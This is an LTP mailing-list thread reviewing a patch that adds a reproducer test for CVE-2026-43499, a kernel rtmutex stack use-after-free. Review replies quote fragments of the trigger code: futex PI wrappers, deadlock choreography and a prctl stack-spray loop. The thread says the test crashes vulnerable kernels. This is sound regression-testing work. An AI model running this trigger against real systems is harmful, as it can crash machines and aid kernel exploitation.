Reproducer for ghostlock
v3 cover Reproducer for ghostlock
Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the rtmutex PI code, fixed in kernel v7.1:3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")
Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/, https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.
Assisted by Kimi K3 for the analysis and written mostly with Gemini Pro 3.1 Max.
---
Changes in v3:
- improve sync mechanism
- fix lapi imports
- Link to v2: https://lore.kernel.org/[email protected]
Changes in v2:
- fix build
- fix 32bit run
- Link to v1: https://lore.kernel.org/[email protected]
---
Andrea Cervesato (2):
lapi/prctl: add more fallback definitions
cve: add CVE-2026-43499 reproducer
configure.ac | 2 + include/lapi/prctl.h | 25 +++++ runtest/cve | 1 + testcases/cve/.gitignore | 1 + testcases/cve/Makefile | 2 +- testcases/cve/ghostlock.c | 247 ++++++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 277 insertions(+), 1 deletion(-)
---
base-commit: 6891f922f21a56238d3225c9a83e08f4f7c1765b
change-id: 20260801-cve-ghostlock-6ee4b2f69fd6
Best regards,
Signature · 5 lines
Andrea Cervesato <[email protected]> -- Mailing list info: https://lists.linux.it/listinfo/ltp
PATCH v3 1/2 lapi/prctl: add more fallback definitions
From: Andrea Cervesato <[email protected]>
Add the following fallback definitions:
- PR_SET_MM
- PR_SET_MM_MAP
- PR_SET_MM_MAP_SIZE
- struct prctl_mm_map
--- configure.ac | 2 ++ include/lapi/prctl.h | 25 +++++++++++++++++++++++++ 2 files changed, 27 insertions(+)
configure.ac +2 -0
@@ -286,6 +286,8 @@ AC_CHECK_TYPES([struct fsxattr],,,[#include <linux/fs.h>]) AC_CHECK_TYPES([struct logical_block_metadata_cap],,,[#include <linux/fs.h>]) +AC_CHECK_TYPES([struct prctl_mm_map],,,[#include <sys/prctl.h>]) + AC_CHECK_TYPES([struct sockaddr_vm],,,[ #include <sys/socket.h> #include <linux/vm_sockets.h>
include/lapi/prctl.h +25 -0
@@ -7,6 +7,7 @@#ifndef LAPI_PRCTL_H__ #define LAPI_PRCTL_H__ +#include <stdint.h> #include <sys/prctl.h> #ifndef PR_SET_NAME
@@ -59,4 +60,28 @@# define PR_SET_SPECULATION_CTRL 53#endif +#ifndef PR_SET_MM +# define PR_SET_MM 35 +#endif +#ifndef PR_SET_MM_MAP +# define PR_SET_MM_MAP 14 +#endif +#ifndef PR_SET_MM_MAP_SIZE +# define PR_SET_MM_MAP_SIZE 15 +#endif + +#if !(HAVE_STRUCT_PRCTL_MM_MAP ) && !defined(PR_SET_MM_MAP ) +struct prctl_mm_map { +uint64_t start_code, end_code; +uint64_t start_data, end_data; +uint64_t start_brk, brk; +uint64_t start_stack; +uint64_t arg_start, arg_end; +uint64_t env_start, env_end; +uint64_t *auxv; +uint32_t auxv_size; +uint32_t exe_fd; +}; +#endif +#endif /* LAPI_PRCTL_H__ */
Signature · 5 lines
2.51.0 -- Mailing list info: https://lists.linux.it/listinfo/ltp
Re: [LTP] lapi/prctl: add more fallback definitions
Hi Andrea,
Quoted 1 line · Andrea Cervesato
lapi/prctl: add more fallback definitions
--- [PATCH 1/2] ---
include/lapi/prctl.h line 73
Quoted 8 lines
include/lapi/prctl.h +8
-0+#ifndef PR_SET_MM_MAP +# define PR_SET_MM_MAP 14 +#endif +#ifndef PR_SET_MM_MAP_SIZE +# define PR_SET_MM_MAP_SIZE 15 +#endif + +#if !(HAVE_STRUCT_PRCTL_MM_MAP ) && !defined(PR_SET_MM_MAP )
Could this struct guard depend only on HAVE_STRUCT_PRCTL_MM_MAP?
PR_SET_MM_MAP is defined immediately above, so !defined(PR_SET_MM_MAP) is always false here. Systems missing struct prctl_mm_map therefore skip the fallback even when HAVE_STRUCT_PRCTL_MM_MAP is false, and the second patch cannot compile there.
--- [PATCH 2/2] ---
Review
Quoted 1 line
(quoted diff) +1
-0+ SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP_SIZE, (unsigned long)&sz, 0, 0);
Could this test set .min_kver = "3.18", or report TCONF when this operation is unavailable?
PR_SET_MM_MAP_SIZE was added in Linux 3.18, while CONFIG_CHECKPOINT_RESTORE predates it. A 3.5 through 3.17 kernel with that configuration reaches setup(), rejects this operation, and SAFE_PRCTL() reports TBROK for an unsupported reproducer feature.
Verdict - Needs revision
---
Note:
The agent can sometimes produce false positives although often its findings are genuine. If you find issues with the review, please comment this email or ignore the suggestions.
Regards,
LTP AI Reviewer
Signature · 1 line
Mailing list info: https://lists.linux.it/listinfo/ltp
Re: [LTP] lapi/prctl: add more fallback definitions
Quoted 8 lines
Quoted 1 line
+#if !(HAVE_STRUCT_PRCTL_MM_MAP) && !defined(PR_SET_MM_MAP)
Could this struct guard depend only on
HAVE_STRUCT_PRCTL_MM_MAP?
PR_SET_MM_MAPis defined immediately above, so !defined(PR_SET_MM_MAP) is always false here. Systems missing structprctl_mm_maptherefore skip the fallback even whenHAVE_STRUCT_PRCTL_MM_MAPis false, and the second patch cannot compile there.
I'm having issues with this, since it seems struct prctl_mm_map gate it not enough to ensure fallback is not replicating the original one.
Quoted 4 lines
Review
Quoted 1 line
(quoted diff) +1
-0+ SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP_SIZE, (unsigned long)&sz, 0, 0);Could this test set .min_kver = "3.18", or report TCONF when this operation is unavailable?
We don't support this kernel. Agent is going really deep with this, so I guess I need to add a rule to avoid checking for versions below 4.4.
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
[email protected]
Signature · 1 line
Mailing list info: https://lists.linux.it/listinfo/ltp
PATCH v3 2/2 cve: add CVE-2026-43499 reproducer
In reply to Andrea CervesatoFrom: Andrea Cervesato <[email protected]>
Add "Ghostlock" reproducer for CVE-2026-43499.
Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/,
https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.
--- runtest/cve | 1 + testcases/cve/.gitignore | 1 + testcases/cve/Makefile | 2 +- testcases/cve/ghostlock.c | 247 ++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 250 insertions(+), 1 deletion(-)
runtest/cve +1 -0
@@ -101,3 +101,4 @@ cve-2026-43494 io_uring04 cve-2026-46300 xfrm02 cve-2026-46300-skb-segment xfrm03 cve-2026-46331 cve-2026-46331 +cve-2026-43499 ghostlock
testcases/cve/.gitignore +1 -0
@@ -16,3 +16,4 @@ tcindex01 cve-2025-38236 cve-2025-21756 cve-2026-46331 +ghostlock
testcases/cve/Makefile +1 -1
@@ -11,7 +11,7 @@ stack_clash: CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion cve-2016-7042: LDLIBS += $(KEYUTILS_LIBS) -cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053: CFLAGS += -pthread +cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 ghostlock: CFLAGS += -pthread cve-2014-0196 cve-2016-7117 cve-2017-2671: LDLIBS += -lrt ifneq ($(ANDROID),1)
testcases/cve/ghostlock.c new file +247 -0
247 lines not on this page · raw message
Signature · 5 lines
2.51.0 -- Mailing list info: https://lists.linux.it/listinfo/ltp
Re: [LTP] [PATCH v3 2/2] cve: add CVE-2026-43499 reproducer
Hi Andrea,
could you please rebase and post name of your branch?
It's just minor .gitignore and runtest/cve conflict, but it may help the others in case testing the reproducer.
Kind regards,
Petr
Signature · 1 line
Mailing list info: https://lists.linux.it/listinfo/ltp
Re: [LTP] [PATCH v3 2/2] cve: add CVE-2026-43499 reproducer
In reply to Andrea CervesatoHi Andrea,
OK, I rebased myself to speedup: branch andrea/ghostlock [1] in my fork (with linux-tag longer hash as well).
LGTM, but I want to have a deeper look.
Kind regards,
Petr
[1] https://github.com/pevik/ltp/commits/refs/heads/andrea/ghostlock/
Signature · 1 line
Mailing list info: https://lists.linux.it/listinfo/ltp
Re: [LTP] [PATCH v3 2/2] cve: add CVE-2026-43499 reproducer
In reply to Andrea CervesatoHi Andrea,
FYI on some of my Tumbleweed VM with 7.2.0-rc6-3.g1b28f10-default test timeouts:
tst_test.c:2047: TINFO: LTP version: 20260529-202-ga91c5b6036
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc6-3.g1b28f10-default #1 SMP PREEMPT_DYNAMIC Thu Aug 6 23:49:19 UTC 2026 (1b28f10) x86_64 tst_kconfig.c:90: TINFO: Parsing kernel config '/proc/config.gz'
tst_kconfig.c:756: TINFO: CONFIG_FAULT_INJECTION kernel option detected which might slow the execution tst_test.c:1875: TINFO: Overall timeout per run is 0h 05m 00s
ghostlock.c:191: TINFO: Triggering PI deadlock and stack spray
Test timeouted, sending SIGKILL!
tst_test.c:1947: TINFO: If you are running on slow machine, try exporting LTP_TIMEOUT_MUL > 1
tst_test.c:1949: TBROK: Test killed! (timeout?)
Quoted 12 lines
testcases/cve/ghostlock.c new file +12
-0+static int futex_wait_requeue_pi (uint32_t *uaddr,uint32_t *uaddr2, +struct timespec *ts) +{ +return tst_syscall (__NR_futex, uaddr,FUTEX_WAIT_REQUEUE_PI ,0 , ts, + uaddr2,0 ); +} + +static int futex_cmp_requeue_pi (uint32_t *uaddr,uint32_t *uaddr2) +{ +return tst_syscall (__NR_futex, uaddr,FUTEX_CMP_REQUEUE_PI ,1 ,1 , + uaddr2,0 ); +}
testcases/cve/ghostlock.c line 81
Quoted 10 lines
testcases/cve/ghostlock.c new file +10
-0+ +static int futex_lock_pi (uint32_t *uaddr) +{ +return tst_syscall (__NR_futex, uaddr,FUTEX_LOCK_PI ,0 ,0 ,0 ,0 ); +} + +static int futex_unlock_pi (uint32_t *uaddr) +{ +return tst_syscall (__NR_futex, uaddr,FUTEX_UNLOCK_PI ,0 ,0 ,0 ,0 ); +}
nit: we already have sys_futex() in include/tst_timer.h, maybe using it?
Quoted 10 lines
testcases/cve/ghostlock.c new file +10
-0+ +static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED) +{ +struct timespec ts; +struct prctl_mm_map mm_map = { + .start_code = (uint64_t )(uintptr_t )&waiter_fn, + .end_code = (uint64_t )(uintptr_t )&waiter_fn +0x1000 , + .start_data = (uint64_t )(uintptr_t )auxv & ~0xfffUL , + .end_data = ((uint64_t )(uintptr_t )auxv & ~0xfffUL ) +0x1000 , + .start_brk = (uint64_t )(uintptr_t )sbrk (0 ),
testcases/cve/ghostlock.c line 101
Quoted 10 lines
testcases/cve/ghostlock.c new file +10
-0+ .brk = (uint64_t)(uintptr_t)sbrk(0), + .start_stack = (uint64_t)(uintptr_t)&mm_map, + .arg_start = (uint64_t)(uintptr_t)&mm_map, + .arg_end = (uint64_t)(uintptr_t)&mm_map, + .env_start = (uint64_t)(uintptr_t)&mm_map, + .env_end = (uint64_t)(uintptr_t)&mm_map, + .auxv = (void *)auxv, + .auxv_size = valid_auxv_size, + .exe_fd = (uint32_t)-1, + };
nice magic :).
Quoted 7 lines
testcases/cve/ghostlock.c new file +7
-0+ + waiter_tid =tst_syscall (__NR_gettid); + +futex_lock_pi (&f_pi_chain); + +TST_CHECKPOINT_WAKE2 (CP_CHAIN_HELD ,2 ); +TST_CHECKPOINT_WAIT (CP_OWNER_BLOCKED );
testcases/cve/ghostlock.c line 118
Quoted 10 lines
testcases/cve/ghostlock.c new file +10
-0+ +SAFE_CLOCK_GETTIME (CLOCK_MONOTONIC , &ts); + ts =tst_timespec_add (ts, (struct timespec ){ .tv_sec =10 , .tv_nsec =0 }); +futex_wait_requeue_pi (&f_wait, &f_pi_target, &ts); + +TST_CHECKPOINT_WAKE (CP_SPRAYED ); + +while (!tst_atomic_load (&stop_spray)) { +prctl (PR_SET_MM ,PR_SET_MM_MAP , (unsigned long )&mm_map, +sizeof (mm_map),0 );
Maybe SAFE_PRCTL() ?
Quoted 19 lines
testcases/cve/ghostlock.c new file +19
-0+ } + +TST_CHECKPOINT_WAIT (CP_SETATTR_DONE ); + +futex_unlock_pi (&f_pi_chain); + +return NULL ; +} + +static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED) +{ + owner_tid =tst_syscall (__NR_gettid); + +TST_CHECKPOINT_WAIT (CP_CHAIN_HELD ); + +futex_lock_pi (&f_pi_target); +TST_CHECKPOINT_WAKE (CP_TARGET_HELD ); + +futex_lock_pi (&f_pi_chain);
testcases/cve/ghostlock.c line 147
Quoted 10 lines
testcases/cve/ghostlock.c new file +10
-0+ +futex_unlock_pi (&f_pi_chain); +futex_unlock_pi (&f_pi_target); + +return NULL ; +} + +static void setup (void ) +{ +static const int try_sizes[] = {
very nit: why static?
testcases/cve/ghostlock.c line 150
Quoted 3 lines
testcases/cve/ghostlock.c new file +3
-0+MAX_AUXV_WORDS , +MAX_AUXV_WORDS -4 , +MAX_AUXV_WORDS -8
I wonder why these other 2?
Code LGTM, but I'd like to have at least brief look at the original reproducers.
Kind regards,
Petr
Signature · 1 line
Mailing list info: https://lists.linux.it/listinfo/ltp
Re: [LTP] [PATCH v3 2/2] cve: add CVE-2026-43499 reproducer
Hi Petr,
Quoted 10 lines
tst_test.c:2047: TINFO: LTP version: 20260529-202-ga91c5b6036
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc6-3.g1b28f10-default #1 SMPPREEMPT_DYNAMICThu Aug 6 23:49:19 UTC 2026 (1b28f10)x86_64tst_kconfig.c:90: TINFO: Parsing kernel config '/proc/config.gz'
tst_kconfig.c:756: TINFO:CONFIG_FAULT_INJECTIONkernel option detected which might slow the execution tst_test.c:1875: TINFO: Overall timeout per run is 0h 05m 00s
ghostlock.c:191: TINFO: Triggering PI deadlock and stack spray
Test timeouted, sending SIGKILL!
tst_test.c:1947: TINFO: If you are running on slow machine, try exportingLTP_TIMEOUT_MUL> 1
tst_test.c:1949: TBROK: Test killed! (timeout?)
did you try with LTP_TIMEOUT_MUL > 1? It's possible that CVE is simply not triggered.
Quoted 16 lines
Quoted 16 lines
testcases/cve/ghostlock.c new file +15
-0+static int futex_wait_requeue_pi (uint32_t *uaddr,uint32_t *uaddr2, +struct timespec *ts) +{ +return tst_syscall (__NR_futex, uaddr,FUTEX_WAIT_REQUEUE_PI ,0 , ts, + uaddr2,0 ); +} + +static int futex_cmp_requeue_pi (uint32_t *uaddr,uint32_t *uaddr2) +{ +return tst_syscall (__NR_futex, uaddr,FUTEX_CMP_REQUEUE_PI ,1 ,1 , + uaddr2,0 ); +} + +static int futex_lock_pi (uint32_t *uaddr) +{
Quoted 8 lines
testcases/cve/ghostlock.c line 81
Quoted 7 lines
testcases/cve/ghostlock.c new file +7
-0+return tst_syscall (__NR_futex, uaddr,FUTEX_LOCK_PI ,0 ,0 ,0 ,0 ); +} + +static int futex_unlock_pi (uint32_t *uaddr) +{ +return tst_syscall (__NR_futex, uaddr,FUTEX_UNLOCK_PI ,0 ,0 ,0 ,0 ); +}nit: we already have
sys_futex()ininclude/tst_timer.h, maybe using it?
isn't it exactly the same?
Quoted 34 lines
Quoted 11 lines
testcases/cve/ghostlock.c new file +10
-0+ +static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED) +{ +struct timespec ts; +struct prctl_mm_map mm_map = { + .start_code = (uint64_t )(uintptr_t )&waiter_fn, + .end_code = (uint64_t )(uintptr_t )&waiter_fn +0x1000 , + .start_data = (uint64_t )(uintptr_t )auxv & ~0xfffUL , + .end_data = ((uint64_t )(uintptr_t )auxv & ~0xfffUL ) +0x1000 , + .start_brk = (uint64_t )(uintptr_t )sbrk (0 ),testcases/cve/ghostlock.c line 101
Quoted 10 lines
testcases/cve/ghostlock.c new file +10
-0+ .brk = (uint64_t)(uintptr_t)sbrk(0), + .start_stack = (uint64_t)(uintptr_t)&mm_map, + .arg_start = (uint64_t)(uintptr_t)&mm_map, + .arg_end = (uint64_t)(uintptr_t)&mm_map, + .env_start = (uint64_t)(uintptr_t)&mm_map, + .env_end = (uint64_t)(uintptr_t)&mm_map, + .auxv = (void *)auxv, + .auxv_size = valid_auxv_size, + .exe_fd = (uint32_t)-1, + };nice magic :).
Quoted 11 lines
testcases/cve/ghostlock.c new file +11
-0+ + waiter_tid =tst_syscall (__NR_gettid); + +futex_lock_pi (&f_pi_chain); + +TST_CHECKPOINT_WAKE2 (CP_CHAIN_HELD ,2 ); +TST_CHECKPOINT_WAIT (CP_OWNER_BLOCKED ); + +SAFE_CLOCK_GETTIME (CLOCK_MONOTONIC , &ts); + ts =tst_timespec_add (ts, (struct timespec ){ .tv_sec =10 , .tv_nsec =0 }); +futex_wait_requeue_pi (&f_wait, &f_pi_target, &ts);
Quoted 8 lines
testcases/cve/ghostlock.c line 118
Quoted 6 lines
testcases/cve/ghostlock.c new file +6
-0+ +TST_CHECKPOINT_WAKE (CP_SPRAYED ); + +while (!tst_atomic_load (&stop_spray)) { +prctl (PR_SET_MM ,PR_SET_MM_MAP , (unsigned long )&mm_map, +sizeof (mm_map),0 );Maybe
SAFE_PRCTL()?
I also thought about it, but that's the syscall that poison the buffer and we don't care if it fails. Actually, if it fails during SAFE_PRCTL(), the test will break and we can't reproduce the bug, so it's ok to leave it raw.
Quoted 22 lines
Quoted 22 lines
testcases/cve/ghostlock.c new file +22
-0+ } + +TST_CHECKPOINT_WAIT (CP_SETATTR_DONE ); + +futex_unlock_pi (&f_pi_chain); + +return NULL ; +} + +static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED) +{ + owner_tid =tst_syscall (__NR_gettid); + +TST_CHECKPOINT_WAIT (CP_CHAIN_HELD ); + +futex_lock_pi (&f_pi_target); +TST_CHECKPOINT_WAKE (CP_TARGET_HELD ); + +futex_lock_pi (&f_pi_chain); + +futex_unlock_pi (&f_pi_chain); +futex_unlock_pi (&f_pi_target);
Quoted 8 lines
testcases/cve/ghostlock.c line 147
Quoted 7 lines
testcases/cve/ghostlock.c new file +7
-0+ +return NULL ; +} + +static void setup (void ) +{ +static const int try_sizes[] = {very nit: why static?
I can even move it wit hthe other static variables.
Quoted 5 lines
testcases/cve/ghostlock.c line 150
Quoted 4 lines
testcases/cve/ghostlock.c new file +3
-0+MAX_AUXV_WORDS , +MAX_AUXV_WORDS -4 , +MAX_AUXV_WORDS -8 I wonder why these other 2?
according to the kernel version, we might have different words sizes. Especially for older kernels, MAX_AUXV_WORDS is rejected and we might need a smaller value.
Quoted 5 lines
Code LGTM, but I'd like to have at least brief look at the original reproducers.
Kind regards,
Petr
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
[email protected]
Signature · 1 line
Mailing list info: https://lists.linux.it/listinfo/ltp
Re: [LTP] [PATCH v3 2/2] cve: add CVE-2026-43499 reproducer
Hi Andrea,
Quoted 12 lines
Hi Petr,
Quoted 9 lines
tst_test.c:2047: TINFO: LTP version: 20260529-202-ga91c5b6036
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc6-3.g1b28f10-default #1 SMPPREEMPT_DYNAMICThu Aug 6 23:49:19 UTC 2026 (1b28f10)x86_64tst_kconfig.c:90: TINFO: Parsing kernel config '/proc/config.gz'
tst_kconfig.c:756: TINFO:CONFIG_FAULT_INJECTIONkernel option detected which might slow the execution tst_test.c:1875: TINFO: Overall timeout per run is 0h 05m 00s
ghostlock.c:191: TINFO: Triggering PI deadlock and stack spray
Test timeouted, sending SIGKILL!
tst_test.c:1947: TINFO: If you are running on slow machine, try exportingLTP_TIMEOUT_MUL> 1
tst_test.c:1949: TBROK: Test killed! (timeout?)
Quoted 2 lines
did you try with
LTP_TIMEOUT_MUL> 1? It's possible that CVE is simply not triggered.
Trying nowi with LTP_TIMEOUT_MUL=2 and even this did not help. But this is normal VM => more people will get TBROK (false positive). IMHO test should use tst_remaining_runtime()) and quit earlier itself. And maybe the default runtime should be higher.
Quoted 24 lines
Quoted 15 lines
Quoted 15 lines
testcases/cve/ghostlock.c new file +15
-0+static int futex_wait_requeue_pi (uint32_t *uaddr,uint32_t *uaddr2, +struct timespec *ts) +{ +return tst_syscall (__NR_futex, uaddr,FUTEX_WAIT_REQUEUE_PI ,0 , ts, + uaddr2,0 ); +} + +static int futex_cmp_requeue_pi (uint32_t *uaddr,uint32_t *uaddr2) +{ +return tst_syscall (__NR_futex, uaddr,FUTEX_CMP_REQUEUE_PI ,1 ,1 , + uaddr2,0 ); +} + +static int futex_lock_pi (uint32_t *uaddr) +{Quoted 8 lines
testcases/cve/ghostlock.c line 81
Quoted 7 lines
testcases/cve/ghostlock.c new file +7
-0+return tst_syscall (__NR_futex, uaddr,FUTEX_LOCK_PI ,0 ,0 ,0 ,0 ); +} + +static int futex_unlock_pi (uint32_t *uaddr) +{ +return tst_syscall (__NR_futex, uaddr,FUTEX_UNLOCK_PI ,0 ,0 ,0 ,0 ); +}nit: we already have
sys_futex()ininclude/tst_timer.h, maybe using it?
Quoted 1 line
isn't it exactly the same?
Exactly, that's why would personally use already defined function. But ok, these names are kind of documentation of the usage, feel free to ignore it.
Quoted 14 lines
Quoted 14 lines
Quoted 14 lines
testcases/cve/ghostlock.c new file +14
-0+ +static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED) +{ +struct timespec ts; +struct prctl_mm_map mm_map = { + .start_code = (uint64_t )(uintptr_t )&waiter_fn, + .end_code = (uint64_t )(uintptr_t )&waiter_fn +0x1000 , + .start_data = (uint64_t )(uintptr_t )auxv & ~0xfffUL , + .end_data = ((uint64_t )(uintptr_t )auxv & ~0xfffUL ) +0x1000 , + .start_brk = (uint64_t )(uintptr_t )sbrk (0 ), + .brk = (uint64_t )(uintptr_t )sbrk (0 ), + .start_stack = (uint64_t )(uintptr_t )&mm_map, + .arg_start = (uint64_t )(uintptr_t )&mm_map, + .arg_end = (uint64_t )(uintptr_t )&mm_map,
Quoted 8 lines
Quoted 8 lines
testcases/cve/ghostlock.c line 101
Quoted 6 lines
testcases/cve/ghostlock.c new file +6
-0+ .env_start = (uint64_t)(uintptr_t)&mm_map, + .env_end = (uint64_t)(uintptr_t)&mm_map, + .auxv = (void *)auxv, + .auxv_size = valid_auxv_size, + .exe_fd = (uint32_t)-1, + };nice magic :).
I tried to read code in
https://github.com/NebuSec/CyberMeowfia/tree/main/IonStack/CVE-2026-43499/exploit/src
and now I understand why you used Kimi K3 for analysis :).
Quoted 20 lines
Quoted 11 lines
Quoted 11 lines
testcases/cve/ghostlock.c new file +11
-0+ + waiter_tid =tst_syscall (__NR_gettid); + +futex_lock_pi (&f_pi_chain); + +TST_CHECKPOINT_WAKE2 (CP_CHAIN_HELD ,2 ); +TST_CHECKPOINT_WAIT (CP_OWNER_BLOCKED ); + +SAFE_CLOCK_GETTIME (CLOCK_MONOTONIC , &ts); + ts =tst_timespec_add (ts, (struct timespec ){ .tv_sec =10 , .tv_nsec =0 }); +futex_wait_requeue_pi (&f_wait, &f_pi_target, &ts);Quoted 8 lines
testcases/cve/ghostlock.c line 118
Quoted 6 lines
testcases/cve/ghostlock.c new file +6
-0+ +TST_CHECKPOINT_WAKE (CP_SPRAYED ); + +while (!tst_atomic_load (&stop_spray)) { +prctl (PR_SET_MM ,PR_SET_MM_MAP , (unsigned long )&mm_map, +sizeof (mm_map),0 );Maybe
SAFE_PRCTL()?
Quoted 4 lines
I also thought about it, but that's the syscall that poison the buffer and we don't care if it fails. Actually, if it fails during
SAFE_PRCTL(), the test will break and we can't reproduce the bug, so it's ok to leave it raw.
Maybe worth to note that in the comment so that it stays the same in the future?
Quoted 31 lines
Quoted 22 lines
Quoted 22 lines
testcases/cve/ghostlock.c new file +22
-0+ } + +TST_CHECKPOINT_WAIT (CP_SETATTR_DONE ); + +futex_unlock_pi (&f_pi_chain); + +return NULL ; +} + +static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED) +{ + owner_tid =tst_syscall (__NR_gettid); + +TST_CHECKPOINT_WAIT (CP_CHAIN_HELD ); + +futex_lock_pi (&f_pi_target); +TST_CHECKPOINT_WAKE (CP_TARGET_HELD ); + +futex_lock_pi (&f_pi_chain); + +futex_unlock_pi (&f_pi_chain); +futex_unlock_pi (&f_pi_target);Quoted 8 lines
testcases/cve/ghostlock.c line 147
Quoted 7 lines
testcases/cve/ghostlock.c new file +7
-0+ +return NULL ; +} + +static void setup (void ) +{ +static const int try_sizes[] = {very nit: why static?
Quoted 1 line
I can even move it wit hthe other static variables.
Yeah.
Quoted 8 lines
Quoted 4 lines
testcases/cve/ghostlock.c line 150
Quoted 3 lines
testcases/cve/ghostlock.c new file +3
-0+MAX_AUXV_WORDS , +MAX_AUXV_WORDS -4 , +MAX_AUXV_WORDS -8 I wonder why these other 2?
according to the kernel version, we might have different words sizes. Especially for older kernels,
MAX_AUXV_WORDSis rejected and we might need a smaller value.
Thanks for an explanation.
Anyway, the only important thing is IMHO to handle timeout.
Kind regards,
Petr
Quoted 4 lines
Quoted 4 lines
Code LGTM, but I'd like to have at least brief look at the original reproducers.
Kind regards,
Petr
Signature · 1 line
Mailing list info: https://lists.linux.it/listinfo/ltp